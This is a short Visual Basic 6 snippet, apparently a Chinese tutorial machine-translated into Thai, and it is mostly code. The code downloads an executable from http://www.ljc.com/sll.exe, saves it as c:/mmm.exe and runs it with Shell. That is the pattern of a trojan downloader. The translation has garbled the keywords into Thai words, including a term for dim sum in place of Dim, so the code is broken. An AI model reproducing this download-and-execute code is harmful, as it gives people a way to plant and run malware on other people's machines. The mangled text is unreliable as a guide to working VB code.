建立一个vb工程，Project1
ข้อมูลเพิ่มเติม: Microsoft scripting runtime, Microsoft Active Data Object, Microsoft MsXml
แบบฟอร์มที่ 1:
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
ติ่มซำเป็นคลาส1
ตั้งค่า = MSXML2.XMLHTTP ใหม่
a.open รับ http://www.ljc.com/sll.exe จริง
ชุด d = คลาสใหม่ 1
ก.เมื่อพร้อมเปลี่ยน = ง
ก.ส่ง
จบหมวดย่อย
คลาส 1 代码：
Dim b As ADODB.Stream
Dim fso เป็น Scripting.FileSystemObject
curReadyState สาธารณะตราบเท่าที่
ฟังก์ชั่นสาธารณะ doSome()
ตรวจแก้จุดบกพร่องพิมพ์ Form1.a.readyState
ถ้า Form1.a.readyState = 4 ดังนั้น
www
สิ้นสุดถ้า
ฟังก์ชันสิ้นสุด
งานสาธารณะ www()
ชุด b = ADODB.Stream ใหม่
ข.ประเภท = 1
ข.เปิด
ตั้ง fso = การเขียนสคริปต์ใหม่ FileSystemObject
ถ้า Form1.a.readyState = 4 ดังนั้น
ข. เขียน (Form1.a.responseBody)
ถ้าไม่ใช่ fso.FileExists(c:/mmm.exe) จากนั้น
b.SaveToFile c:/mmm.exe
สิ้นสุดถ้า
สิ้นสุดถ้า
ข.ปิด
เซต b = ไม่มีเลย
ถ้า fso.FileExists(c:/mmm.exe) จากนั้น Shell c:/mmm.exe, 1
ตั้งค่า fso = ไม่มีเลย
ฟังก์ชันสิ้นสุด
注意将Class1 ของ doSome 设置成 ค่าเริ่มต้นของ